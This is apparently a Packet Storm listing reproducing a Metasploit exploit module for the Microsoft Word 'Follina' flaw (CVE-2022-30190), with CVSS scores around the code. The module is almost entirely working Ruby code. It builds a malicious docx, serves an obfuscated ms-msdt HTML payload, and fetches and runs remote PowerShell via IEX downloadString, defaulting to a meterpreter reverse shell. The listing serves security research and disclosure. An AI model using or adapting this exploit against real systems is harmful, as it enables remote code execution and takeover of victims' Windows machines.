Lucene search

K
packetstormRamella Sebastien, nao sec, metasploit.comPACKETSTORM:167438
HistoryJun 07, 2022 - 12:00 a.m.

Microsoft Office Word MSDTJS Code Execution

2022-06-0700:00:00
Ramella Sebastien, nao sec, metasploit.com
packetstormsecurity.com
254

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Office Word MSDTJS',  
'Description' => %q{  
This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template  
feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code.  
},  
'References' => [  
['CVE', '2022-30190'],  
['URL', 'https://www.reddit.com/r/blueteamsec/comments/v06w2o/suspected_microsoft_word_zero_day_in_the_wild/'],  
['URL', 'https://twitter.com/nao_sec/status/1530196847679401984?t=3Pjrpdog_H6OfMHVLMR5eQ&s=19'],  
['URL', 'https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/'],  
['URL', 'https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e'],  
['URL', 'https://twitter.com/GossiTheDog/status/1531608245009367040'],  
['URL', 'https://github.com/JMousqueton/PoC-CVE-2022-30190']  
],  
'Author' => [  
'nao sec', # Original disclosure.  
'mekhalleh (RAMELLA Sébastien)' # Zeop CyberSecurity  
],  
'DisclosureDate' => '2022-05-29',  
'License' => MSF_LICENSE,  
'Privileged' => false,  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Payload' => {  
'DisableNops' => true  
},  
'DefaultOptions' => {  
'DisablePayloadHandler' => false,  
'FILENAME' => 'msf.docx',  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',  
'SRVHOST' => Rex::Socket.source_address('1.2.3.4')  
},  
'Targets' => [  
[ 'Microsoft Office Word', {} ]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'AKA' => ['Follina'],  
'Stability' => [CRASH_SAFE],  
'Reliability' => [UNRELIABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptPath.new('CUSTOMTEMPLATE', [false, 'A DOCX file that will be used as a template to build the exploit.']),  
OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])  
])  
end  
  
def get_file_in_docx(fname)  
i = @docx.find_index { |item| item[:fname] == fname }  
  
unless i  
fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")  
end  
  
@docx.fetch(i)[:data]  
end  
  
def get_template_path  
datastore['CUSTOMTEMPLATE'] || File.join(Msf::Config.data_directory, 'exploits', 'word_msdtjs.docx')  
end  
  
def generate_html  
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.ps1"  
  
dummy = ''  
(1..random_int(61, 100)).each do |_n|  
dummy += '//' + rand_text_alpha(100) + "\n"  
end  
  
cmd = Rex::Text.encode_base64("IEX(New-Object Net.WebClient).downloadString('#{uri}')")  
  
js_content = "window.location.href = \"ms-msdt:/id PCWDiagnostic /skip force /param \\\"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'#{cmd}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\\\"\";"  
if datastore['OBFUSCATE']  
print_status('Obfuscate JavaScript content')  
  
js_content = Rex::Exploitation::JSObfu.new js_content  
js_content = js_content.obfuscate(memory_sensitive: false)  
end  
  
html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'  
html += "\n#{dummy}\n#{js_content}\n"  
html += '</script></body></html>'  
  
html  
end  
  
def inject_docx  
document_xml = get_file_in_docx('word/document.xml')  
unless document_xml  
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')  
end  
  
document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')  
unless document_xml_rels  
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')  
end  
  
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"  
@docx.each do |entry|  
case entry[:fname]  
when 'word/_rels/document.xml.rels'  
entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "#{uri}&#x21;")  
end  
end  
end  
  
def normalize_uri(*strs)  
new_str = strs * '/'  
  
new_str = new_str.gsub!('//', '/') while new_str.index('//')  
  
# makes sure there's a starting slash  
unless new_str.start_with?('/')  
new_str = '/' + new_str  
end  
  
new_str  
end  
  
def on_request_uri(cli, request)  
header_html = {  
'Access-Control-Allow-Origin' => '*',  
'Access-Control-Allow-Methods' => 'GET, POST',  
'Cache-Control' => 'no-store, no-cache, must-revalidate',  
'Content-Type' => 'text/html; charset=UTF-8'  
}  
  
if request.method.eql? 'HEAD'  
send_response(cli, '', header_html)  
elsif request.method.eql? 'OPTIONS'  
response = create_response(501, 'Unsupported Method')  
response['Content-Type'] = 'text/html'  
response.body = ''  
  
cli.send_response(response)  
elsif request.raw_uri.to_s.end_with? '.html'  
print_status('Sending HTML Payload')  
  
send_response_html(cli, generate_html, header_html)  
elsif request.raw_uri.to_s.end_with? '.ps1'  
print_status('Sending PowerShell Payload')  
  
send_response(cli, @payload_data, header_html)  
end  
end  
  
def pack_docx  
@docx.each do |entry|  
if entry[:data].is_a?(Nokogiri::XML::Document)  
entry[:data] = entry[:data].to_s  
end  
end  
  
Msf::Util::EXE.to_zip(@docx)  
end  
  
def primer  
print_status('Generating a malicious docx file')  
  
@proto = (datastore['SSL'] ? 'https' : 'http')  
  
template_path = get_template_path  
unless File.extname(template_path).downcase.end_with?('.docx')  
fail_with(Failure::BadConfig, 'Template is not a docx file!')  
end  
  
print_status("Using template '#{template_path}'")  
@docx = unpack_docx(template_path)  
  
print_status('Injecting payload in docx document')  
inject_docx  
  
print_status("Finalizing docx '#{datastore['FILENAME']}'")  
file_create(pack_docx)  
  
@payload_data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)  
  
super  
end  
  
def random_int(min, max)  
rand(max - min) + min  
end  
  
def unpack_docx(template_path)  
document = []  
  
Zip::File.open(template_path) do |entries|  
entries.each do |entry|  
if entry.name.downcase.end_with?('.xml', '.rels')  
content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?  
elsif entry.file?  
content = entry.get_input_stream.read  
end  
  
vprint_status("Parsing item from template: #{entry.name}")  
  
document << { fname: entry.name, data: content }  
end  
end  
  
document  
end  
  
end  
`

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C